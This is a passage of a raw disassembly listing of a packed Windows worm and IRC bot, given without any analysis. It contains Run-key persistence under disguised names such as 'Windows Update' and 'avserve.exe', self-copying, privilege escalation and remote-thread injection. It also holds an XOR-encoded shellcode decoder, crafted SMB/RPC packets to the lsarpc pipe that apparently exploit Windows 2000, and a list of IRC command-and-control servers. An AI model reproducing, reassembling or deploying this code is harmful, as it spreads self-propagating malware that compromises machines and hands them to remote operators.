eax, eax jnz short loc_3110351E loc_31103561: ; CODE XREF: sub_311034AD+1Aj ; sub_311034AD+38j ... pop esi pop ebx leave retn sub_311034AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31103565 proc near ; CODE XREF: UPX0:31102E2Bp var_134 = byte ptr -134h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 134h push ebx push esi lea eax, [ebp+var_2C] push edi mov [ebp+var_2C], offset aWindowsSecurit ; "Windows Security Manager" mov [ebp+var_28], offset aDiskDefragment ; "Disk Defragmenter" mov [ebp+var_24], offset aSystemRestoreS ; "System Restore Service" mov [ebp+var_20], offset aBotLoader ; "Bot Loader" mov [ebp+var_1C], offset aSystray ; "SysTray" mov [ebp+var_18], offset aWinupdate ; "WinUpdate" mov [ebp+var_14], offset aWindowsUpdateS ; "Windows Update Service" mov [ebp+var_10], offset aAvserve_exe ; "avserve.exe" mov [ebp+var_C], offset aAvserve2_exeup ; "avserve2.exeUpdate Service" mov [ebp+var_4], eax mov [ebp+var_8], 9 mov edi, offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... mov esi, 80000002h loc_311035C7: ; CODE XREF: sub_31103565+A0j mov eax, [ebp+var_4] push 104h mov ebx, [eax] lea eax, [ebp+var_134] push eax push ebx push edi push esi call sub_31103401 add esp, 14h test eax, eax jnz short loc_311035FE push ebx push edi push esi call sub_311033CC lea eax, [ebp+var_134] push eax call sub_311034AD add esp, 10h loc_311035FE: ; CODE XREF: sub_31103565+80j add [ebp+var_4], 4 dec [ebp+var_8] jnz short loc_311035C7 pop edi pop esi pop ebx leave retn sub_31103565 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3110360C proc near ; CODE XREF: sub_311036D8+6Ap ; sub_311036D8+CAp var_78 = byte ptr -78h var_14 = byte ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 78h cmp [ebp+arg_0], 0 jz short loc_31103621 push [ebp+arg_0] call dword_3110106C ; DeleteFileA loc_31103621: ; CODE XREF: sub_3110360C+Aj lea eax, [ebp+var_78] push 63h push eax call dword_311010B8 ; GetSystemDirectoryA test eax, eax jz locret_311036D6 push esi call dword_31101128 ; rand and eax, 3 add eax, 5 push eax lea eax, [ebp+var_14] push eax call sub_31102B10 mov esi, dword_31101090 pop ecx pop ecx lea eax, [ebp+var_14] push offset a_exe ; ".exe" push eax call esi ; lstrcat lea eax, [ebp+var_78] push offset asc_31105DCC ; "\\" push eax call esi ; lstrcat lea eax, [ebp+var_14] push eax lea eax, [ebp+var_78] push eax call esi ; lstrcat lea eax, [ebp+var_78] push 0 push eax push [ebp+arg_4] call dword_31101050 ; CopyFileA lea eax, [ebp+var_78] push eax call dword_311010D0 ; lstrlen inc eax push eax lea eax, [ebp+var_78] push eax push offset aWindowsUpdate ; "Windows Update" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call sub_3110345A add esp, 14h push ds:dword_31106000 call dword_311010A4 ; CloseHandle lea eax, [ebp+var_78] push 0 push eax call dword_31101054 ; WinExec push 1F4h call dword_311010D4 ; Sleep push 0 call dword_31101070 ; ExitProcess pop esi locret_311036D6: ; CODE XREF: sub_3110360C+23j leave retn sub_3110360C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_311036D8 proc near ; CODE XREF: UPX0:31102E30p var_DC = byte ptr -0DCh var_78 = byte ptr -78h var_14 = byte ptr -14h push ebp mov ebp, esp sub esp, 0DCh push ebx push esi push edi lea eax, [ebp+var_78] push 63h xor edi, edi push eax push edi call dword_31101048 ; GetModuleFileNameA test eax, eax jz loc_311037A9 lea eax, [ebp+var_DC] push 63h push eax push offset aWindowsUpdate ; "Windows Update" mov esi, 80000002h push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push esi mov ds:dword_3110603C, edi call sub_31103401 add esp, 14h test eax, eax jz short loc_3110374C push 2 push offset a1 ; "1" push offset aClient ; "Client" push offset aSoftwareMicr_0 ; "Software\\Microsoft\\Wireless" push esi call sub_3110345A lea eax, [ebp+var_78] push eax push edi call sub_3110360C add esp, 1Ch jmp short loc_311037A9 ; --------------------------------------------------------------------------- loc_3110374C: ; CODE XREF: sub_311036D8+4Cj lea eax, [ebp+var_78] push eax lea eax, [ebp+var_DC] push eax call dword_3110104C ; lstrcmpi test eax, eax jnz short loc_31103797 lea eax, [ebp+var_14] push 14h mov ebx, offset aClient ; "Client" push eax mov edi, offset aSoftwareMicr_0 ; "Software\\Microsoft\\Wireless" push ebx push edi push esi call sub_31103401 add esp, 14h test eax, eax jnz short loc_311037A9 push ebx push edi push esi mov ds:dword_3110603C, 1 call sub_311033CC add esp, 0Ch jmp short loc_311037A9 ; --------------------------------------------------------------------------- loc_31103797: ; CODE XREF: sub_311036D8+87j lea eax, [ebp+var_78] push eax lea eax, [ebp+var_DC] push eax call sub_3110360C pop ecx pop ecx loc_311037A9: ; CODE XREF: sub_311036D8+1Dj ; sub_311036D8+72j ... pop edi pop esi pop ebx leave retn sub_311036D8 endp ; =============== S U B R O U T I N E ======================================= sub_311037AE proc near ; CODE XREF: sub_31101248+2Ap ; sub_311014E6+27p ... arg_0 = dword ptr 4 push 4 push 1000h push [esp+8+arg_0] push 0 call dword_31101044 ; VirtualAlloc retn sub_311037AE endp ; =============== S U B R O U T I N E ======================================= sub_311037C2 proc near ; CODE XREF: sub_31101248+EBp ; sub_311014E6+75p ... arg_0 = dword ptr 4 push 8000h push 0 push [esp+8+arg_0] call dword_31101040 ; VirtualFree retn sub_311037C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_311037D4 proc near ; CODE XREF: sub_31101248+4Bp ; sub_31101651+93p ... jmp dword_31101124 sub_311037D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_311037DA proc near ; CODE XREF: sub_31101582+20p ; sub_31101651+128p ... jmp dword_31101120 sub_311037DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_311037E0 proc near ; CODE XREF: sub_31101651+9Cp ; sub_31101651+C5p ... jmp dword_3110111C sub_311037E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_311037F0 proc near ; CODE XREF: sub_31101651+8p arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_31103810 loc_311037FC: ; CODE XREF: sub_311037F0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_311037FC loc_31103810: ; CODE XREF: sub_311037F0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_311037F0 endp ; --------------------------------------------------------------------------- align 10h loc_31103820: ; CODE XREF: UPX0:31103861j ; UPX0:31103878j jmp dword ptr locret_3110110E+2 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31103830 proc near ; CODE XREF: sub_31102280+5p ; UPX0:31102468p jmp dword ptr loc_3110110C sub_31103830 endp ; --------------------------------------------------------------------------- loc_31103836: ; DATA XREF: sub_31102E62+Ao jmp dword ptr loc_31101100 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3110383C proc near ; CODE XREF: sub_31102FCD+10Cp ; sub_31102FCD+119p ... jmp dword_311010FC sub_3110383C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31103842 proc near ; CODE XREF: sub_31102FCD+35p jmp dword_311010F8 sub_31103842 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31103848 proc near ; CODE XREF: sub_311034AD+ABp jmp dword_31101064 sub_31103848 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3110384E proc near ; CODE XREF: sub_311034AD+64p jmp dword_3110105C sub_3110384E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31103854 proc near ; CODE XREF: sub_311034AD+2Dp jmp dword_31101058 sub_31103854 endp ; --------------------------------------------------------------------------- align 4 loc_3110385C: ; DATA XREF: sub_31102280o mov eax, offset dword_31103880 jmp loc_31103820 ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-2F4h] jmp loc_31101E68 ; --------------------------------------------------------------------------- loc_31103873: ; DATA XREF: UPX0:loc_31102463o mov eax, offset dword_311038D8 jmp loc_31103820 ; --------------------------------------------------------------------------- align 10h dword_31103880 dd 19930520h, 2, 311038A0h, 1, 311038B0h, 3 dup(0) ; DATA XREF: UPX0:loc_3110385Co dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 311038C8h, 4 dup(0) dd offset loc_31102374 dword_311038D8 dd 19930520h, 1, 311038F8h, 5 dup(0) ; DATA XREF: UPX0:loc_31103873o dd 0FFFFFFFFh, 31103868h, 5C0h dup(0) dword_31105000 dd 206h, 2400h, 31415352h, 800h, 10001h, 0A495BDEFh, 0DD499F8Eh ; DATA XREF: sub_311011D9+3Ao dd 64DB1F45h, 0DE5B5C5h, 23CBE2AAh, 63639922h, 7318481Ch dd 749AC3F2h, 4D855620h, 0AD0FE1CCh, 691506D3h, 0A8FD8D37h dd 700B1698h, 45504FCEh, 324A3914h, 5C10E3EFh, 0DFBDD847h dd 371EBA84h, 8B817380h, 7D4A0DF5h, 2DFE92E0h, 0C699C9C5h dd 9C85E020h, 6A5068BDh, 8250B629h, 7F42C334h, 1C980811h dd 9CE7B7B2h, 3D77899Dh, 0A4D3971Ah, 0A58D5029h, 8D463A96h dd 1612E8FCh, 44AF10EBh, 0D0F84570h, 0B178966Ah, 0EB51439Fh dd 7086A827h, 0DE098A39h, 0C1A1C214h, 0BF167A53h, 611A85C4h dd 9829E70Fh, 8966209Eh, 0CB1FE53h, 0ECCA9407h, 0A11E75A3h dd 0B4E8F91Dh, 1A4ECBC5h, 69D7F0DBh, 8C1A8739h, 18C67B94h dd 3EB38213h, 0E0424BBFh, 8400EB67h, 0AA60B737h, 22D7D8B3h dd 7A650480h, 86FF4BA6h, 0F6458558h, 56EEF96Eh, 32002FC9h dd 0B7A63B4Ah, 0EBD3D87Ah aCont db 'cont',0 ; DATA XREF: sub_311011C0+3o align 10h loc_31105120: ; DATA XREF: sub_31101651+24Eo ; sub_31101651+260o ... jmp short loc_31105149 ; --------------------------------------------------------------------------- loc_31105122: ; DATA XREF: sub_311032D9+7Fo adc dh, [esi] loc_31105124: ; DATA XREF: sub_311032D9+9Bo aad 0AAh stosb stosd loc_31105128: ; CODE XREF: UPX0:loc_31105149p pop ebp xor ecx, ecx mov cx, 226h lea esi, [ebp+5] mov edi, esi loc_31105134: ; CODE XREF: UPX0:31105145j mov al, [esi] cmp al, 99h jnz short loc_3110513F inc esi mov al, [esi] sub al, 30h loc_3110513F: ; CODE XREF: UPX0:31105138j inc esi xor al, 99h mov [edi], al inc edi loop loc_31105134 jmp short near ptr loc_31105152+1 ; --------------------------------------------------------------------------- loc_31105149: ; CODE XREF: UPX0:loc_31105120j call loc_31105128 bound esp, cs:[ebp+67h] loc_31105152: ; CODE XREF: UPX0:31105147j db 2Eh jno short near ptr dword_31105000+0E8h cdq leave cdq leave cdq leave adc bh, ch mov ebp, 9916FD91h leave sal dword ptr [edx+68h], 0AAh inc edx std db 66h stosb std adc [edx-670EE3ECh], bh cdq leave cdq leave leave rep cwde icebp cwde cdq leave xchg bl, [ecx-67F78E37h] cdq leave cdq leave nop pop edi retf ; --------------------------------------------------------------------------- dw 9237h dd 0BB1C9659h, 99C99998h, 997518C9h, 0C9999BC9h, 0F1CDC999h dd 0C9999898h, 0D571C999h, 99C99998h, 47ECE4C9h, 995D1854h dd 0C9999BC9h, 9FF3C999h, 9BF398F3h, 9998AE71h, 0F3C999C9h dd 1065E368h, 99981C1Ch, 1AC999C9h, 5EFFD975h, 999BBD9Dh dd 0DC12FFC9h, 0DD10FF4Dh, 0DC129BBDh, 3333AC4Fh, 0DD103333h dd 59B29DBDh, 91BDE514h, 45123232h, 66CA89F3h, 99981C2Ch dd 71C999C9h, 99C9996Eh, 13C999C9h, 1A744167h, 5992D95Dh dd 99341C96h, 99C999C9h, 0F19DF3C9h, 9989C999h, 0F1C999C9h dd 0C999C999h, 0F3C99998h, 6471C999h, 0C999C999h, 0F367C999h dd 1C10F0E3h, 0C99998E4h, 99F3C999h, 0C999F1C9h, 9998C999h dd 2C66C9C9h, 0C999981Ch, 2171C999h, 0C999C999h, 0E86FC999h dd 0F3C997C0h, 1C2C669Bh, 99C99998h, 993F71C9h, 99C999C9h dd 0E5C1D8C9h, 0C959B2D5h, 0C99BF3C9h, 0C999F1C9h, 0C999C999h dd 0E90414D9h, 99C99998h, 2871CAC9h, 0C999C999h, 688DC999h dd 1C109161h, 0C99998F5h, 1AC3C999h, 0A7ED6661h, 0F35D12CDh dd 0CBC9C999h, 98E42C66h, 0C999C999h, 98F52C66h, 0C999C999h dd 0C9991071h, 0C999C999h, 96A6485Ah, 0F52C66C0h, 99C99998h dd 99E071C9h, 99C999C9h, 0A7294CC9h, 149CF3EBh, 9998E904h dd 0CAC999C9h, 0C999FE71h, 0C999C999h, 7126F434h, 71C999F3h dd 99C999C5h, 0F9C999C9h, 0ECEF133Bh, 0C999A8A8h, 2 dup(0C999C999h) dd 0EDFFC5B7h, 0FDE9ECE9h, 0FCE1FCB7h, 6 dup(0C999C999h) dd 0F5CAC999h, 99E9FCFCh, 0EBFCF2C9h, 0AAF5FCF7h, 0C7C999ABh dd 59AAF934h, 662A2DB4h, 0E6ACC91Eh, 0C9A5B7E7h, 9DB8BD9Ch dd 71CDC982h, 99C99992h, 0BFC999C9h, 14513519h, 0A95BDFDh dd 34C79172h, 99C871F9h, 99C999C9h, 0A5D212C9h, 0E180D512h dd 6FAA529Ah, 9A2A8D14h, 8B12B9C8h, 59AA4A9Ah, 0AB9E5958h dd 0A319DB9Bh, 6CECC999h, 85BDDDA2h, 0A2DF9EEDh, 44EB81E8h dd 0BDC81255h, 2E964A9Ah, 0D812EB8Dh, 125A9A85h, 5A9A099Dh dd 85BDDD10h, 181C10F8h, 99C99998h, 664966C9h, 12FEFD7Fh dd 0C999A987h, 1295C212h, 821285C2h, 5A91C212h, 0FDF7FCB7h dd 0B7h dword_311053FC dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_31101651+186o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_31105488 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31101651+1BAo dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dd 0 dword_31105534 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31101651+1EEo dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_31105614 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31101651+8Do dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_31101651+BFo unicode 0, <C$>,0 a????? db '?????',0 align 8 dword_31105678 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31101651+2D4o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_311056E4 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31101651+308o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_31105788 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31101651+4EEo dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 dword_31105808 dd 401495h, 3, 40707Ch, 1, 0 ; DATA XREF: sub_31101651+51Co dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_3110589C dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31101651+347o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_31105908 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31101651+372o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_3110597C dd 0 ; DATA XREF: sub_31101651+3A0o dd 40A89Ah, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 4 dup(0) dd 586E6957h, 72502050h, 6Fh, 0Ah dup(0) dword_31105A40 dd 1004600h ; DATA XREF: sub_31101651+289r dd 1, 326E6957h, 7250206Bh, 6Fh, 0Ah dup(0) dword_31105A7C dd 7515123Ch, 2, 326E6957h, 5341206Bh, 0Bh dup(0) ; DATA XREF: sub_31101651+41Bo ; sub_31101651+45Do dd 751C123Ch, 0Fh dup(0) ; --------------------------------------------------------------------------- loc_31105AF8: ; DATA XREF: sub_31101651+44Ao jmp short loc_31105B00 ; --------------------------------------------------------------------------- jmp short loc_31105B02 ; --------------------------------------------------------------------------- align 10h loc_31105B00: ; CODE XREF: UPX0:loc_31105AF8j ; DATA XREF: sub_31101651+5Co pop esp pop esp loc_31105B02: ; CODE XREF: UPX0:31105AFAj and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_31105B0C dd 1CEC8166h ; DATA XREF: sub_31101651+Dr dword_31105B10 dd 0E4FF07h ; DATA XREF: sub_31101651+1Cr aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_31101BB8+62o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_31101BB8+39o align 10h aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_31101BB8+2Ao align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_31101BB8+1Bo align 4 aAdvapi32 db 'advapi32',0 ; DATA XREF: sub_31101BB8+8o ; sub_31102E62+98o align 4 aUterm11 db 'uterm11',0 ; DATA XREF: sub_31101C40:loc_31101D25o ; UPX0:31102E01o ... aShell_traywnd db 'Shell_TrayWnd',0 ; DATA XREF: sub_31101C40+58o align 10h aCreateremoteth db 'CreateRemoteThread',0 ; DATA XREF: sub_31101C40:loc_31101C87o align 4 aVirtualallocex db 'VirtualAllocEx',0 ; DATA XREF: sub_31101C40+34o align 4 aKernel32 db 'kernel32',0 ; DATA XREF: sub_31101C40+18o align 10h off_31105BC0 dd offset aMoscowAdvokat_ ; DATA XREF: UPX0:31102523r ; UPX0:31102575r ; "moscow-advokat.ru" dd offset aGraz_at_eu_und ; "graz.at.eu.undernet.org" dd offset aFlanders_be_eu ; "flanders.be.eu.undernet.org" dd offset aCaen_fr_eu_und ; "caen.fr.eu.undernet.org" dd offset aBrussels_be_eu ; "brussels.be.eu.undernet.org" dd offset aLosAngeles_ca_ ; "los-angeles.ca.us.undernet.org" dd offset aWashington_dc_ ; "washington.dc.us.undernet.org" dd offset aLondon_uk_eu_u ; "london.uk.eu.undernet.org" dd offset aIrc_tsk_ru ; "irc.tsk.ru" dd offset aLia_zanet_net ; "lia.zanet.net" dd offset aGaspode_zanet_ ; "gaspode.zanet.org.za" dd offset dword_31105BF0 dword_31105BF0 dd 2E637269h, 2E72616Bh, 74656Eh ; DATA XREF: UPX0:31105BECo aGaspode_zanet_ db 'gaspode.zanet.org.za',0 ; DATA XREF: UPX0:31105BE8o align 4 aLia_zanet_net db 'lia.zanet.net',0 ; DATA XREF: UPX0:31105BE4o align 4 aIrc_tsk_ru db 'irc.tsk.ru',0 ; DATA XREF: UPX0:31105BE0o align 10h aLondon_uk_eu_u db 'london.uk.eu.undernet.org',0 ; DATA XREF: UPX0:31105BDCo align 4 aWashington_dc_ db 'washington.dc.us.undernet.org',0 ; DATA XREF: UPX0:31105BD8o align 4 aLosAngeles_ca_ db 'los-angeles.ca.us.undernet.org',0 ; DATA XREF: UPX0:31105BD4o align 4 aBrussels_be_eu db 'brussels.be.eu.undernet.org',0 ; DATA XREF: UPX0:31105BD0o aCaen_fr_eu_und db 'caen.fr.eu.undernet.org',0 ; DATA XREF: UPX0:31105BCCo aFlanders_be_eu db 'flanders.be.eu.undernet.org',0 ; DATA XREF: UPX0:31105BC8o aGraz_at_eu_und db 'graz.at.eu.undernet.org',0 ; DATA XREF: UPX0:31105BC4o aMoscowAdvokat_ db 'moscow-advokat.ru',0 ; DATA XREF: UPX0:off_31105BC0o align 4 aAbcdefghijkl_0 db 'abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_31101D4B+1Co align 4 aAbcdefghijklmn db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: sub_31101D4B+Co align 10h aUserS8S db 'USER %s 8 * :%s',0Dh,0Ah,0 ; DATA XREF: sub_31101E80+1C4o align 4 aAlready db 'already',0 ; DATA XREF: sub_31101E80+133o aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_31101E80+D9o ; sub_31101E80+165o align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_31101E80+9Co align 4 aPongS db 'PONG%s',0Dh,0Ah,0 ; DATA XREF: sub_311020C2+4Fo align 10h aPing db 'PING',0 ; DATA XREF: sub_311020C2+Co ; sub_31102145:loc_311021E7o align 4 a451 db '451',0 ; DATA XREF: sub_31102145+8Eo aJoinS db 'JOIN %s',0Dh,0Ah,0 ; DATA XREF: sub_31102145+16o align 4 aQuitS db 'QUIT %s',0Dh,0Ah,0 ; DATA XREF: sub_31102217+2Co align 4 aPrivmsgSS db 'PRIVMSG %s %s',0Dh,0Ah,0 ; DATA XREF: sub_3110238E+3Bo aTaty db '#taty',0 ; DATA XREF: UPX0:311025C5o align 4 a11 db '11',0 ; DATA XREF: UPX0:311024BBo align 10h a_: ; DATA XREF: UPX0:311024B0o unicode 0, <_>,0 a_exe db '.exe',0 ; DATA XREF: sub_31102663+75o ; sub_3110360C+4Bo align 4 asc_31105DCC: ; DATA XREF: sub_31102663+49o ; sub_3110360C+56o unicode 0, <\>,0 aMozilla4_0Comp db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0 ; DATA XREF: sub_31102663+13o align 4 aJoin db 'JOIN',0 ; DATA XREF: sub_3110277D:loc_31102A6Bo align 4 aQ: ; DATA XREF: sub_3110277D+2C3o unicode 0, <q>,0 aDD11SD db '%d,%d,11%s,%d',0 ; DATA XREF: sub_3110277D+29Do align 10h aI: ; DATA XREF: sub_3110277D+253o unicode 0, <i>,0 asc_31105E24: ; DATA XREF: sub_3110277D+23Ao unicode 0, <|>,0 aE: ; DATA XREF: sub_3110277D+146o unicode 0, <e>,0 a1D db '-1,%d',0 ; DATA XREF: sub_3110277D+78o align 4 aFtpupd_exe db 'ftpupd.exe',0 ; DATA XREF: UPX0:31102DECo align 10h aUser32 db 'user32',0 ; DATA XREF: sub_31102E62+9Fo align 4 aMsvcrt db 'msvcrt',0 ; DATA XREF: sub_31102E62+91o align 10h aWininet db 'wininet',0 ; DATA XREF: sub_31102E62+8Ao aWs2_32 db 'ws2_32',0 ; DATA XREF: sub_31102E62+7Do align 10h aU10 db 'u10',0 ; DATA XREF: sub_31102E62+6Bo aU9 db 'u9',0 ; DATA XREF: sub_31102E62+5Fo align 4 aU8 db 'u8',0 ; DATA XREF: sub_31102E62+55o align 4 aU10x db 'u10x',0 ; DATA XREF: sub_31102E62+39o align 4 aU11x db 'u11x',0 ; DATA XREF: sub_31102E62+23o align 4 asc_31105E7C db 0Dh,0Ah,0 ; DATA XREF: sub_31102FCD+124o align 10h aUseridUnix db ' : USERID : UNIX : ',0 ; DATA XREF: sub_31102FCD+104o aSoftwareMicros db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_31102C74+23o ; sub_31103565+58o ... align 4 aWindowsUpdate db 'Windows Update',0 ; DATA XREF: sub_31102C74+1Co ; sub_3110360C+87o ... align 4 aSoftwareMicr_0 db 'Software\Microsoft\Wireless',0 ; DATA XREF: sub_311036D8+5Ao ; sub_311036D8+94o aClient db 'Client',0 ; DATA XREF: sub_311036D8+55o ; sub_311036D8+8Eo align 4 aAvserve2_exeup db 'avserve2.exeUpdate Service',0 ; DATA XREF: sub_31103565+47o align 4 aAvserve_exe db 'avserve.exe',0 ; DATA XREF: sub_31103565+40o aWindowsUpdateS db 'Windows Update Service',0 ; DATA XREF: sub_31103565+39o align 4 aWinupdate db 'WinUpdate',0 ; DATA XREF: sub_31103565+32o align 4 aSystray db 'SysTray',0 ; DATA XREF: sub_31103565+2Bo aBotLoader db 'Bot Loader',0 ; DATA XREF: sub_31103565+24o align 4 aSystemRestoreS db 'System Restore Service',0 ; DATA XREF: sub_31103565+1Do align 10h aDiskDefragment db 'Disk Defragmenter',0 ; DATA XREF: sub_31103565+16o align 4 aWindowsSecurit db 'Windows Security Manager',0 ; DATA XREF: sub_31103565+Fo align 10h a1: ; DATA XREF: sub_311036D8+50o unicode 0, <1>,0 dd 9 dup(0) dword_31105FC8 dd 0 ; DATA XREF: UPX0:31102478w ; UPX0:311025AEw ... dword_31105FCC dd 0 ; DATA XREF: UPX0:loc_311024D1o ; sub_3110277D+E8r ... dword_31105FD0 dd 8 dup(0) ; DATA XREF: UPX0:311024D9o ; sub_3110277D+Ao dword_31105FF0 dd 0 ; DATA XREF: sub_3110277D+263o dword_31105FF4 dd 0 ; DATA XREF: sub_31102C26+Dr ; sub_31102C74+80w dword_31105FF8 dd 0 ; DATA XREF: sub_3110277D+297r ; sub_31102C26+25o ... dword_31105FFC dd 0 ; DATA XREF: sub_31102C26+7r ; sub_31102C74+75w ... UPX0 ends ; Section 2. (virtual address 00006000) ; Virtual size : 00003000 ( 12288.) ; Section size in file : 00003000 ( 12288.) ; Offset to raw data for section: 00006000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX1 segment para public 'CODE' use32 assume cs:UPX1 ;org 31106000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dword_31106000 dd 44h ; DATA XREF: sub_31101C40+C2r ; UPX0:31102E0Cw ... dword_31106004 dd 0 ; DATA XREF: sub_31102E4E+2r ; sub_31102E62+34w dword_31106008 dd 8 dup(0) ; DATA XREF: sub_31102FCD+2Eo dword_31106028 dd 0 ; DATA XREF: sub_31102C74+E0w ; sub_311032D9+69r dword_3110602C dd 31100000h ; DATA XREF: sub_31101C40+6r ; UPX0:31102DF1w dword_31106030 dd 0 ; DATA XREF: 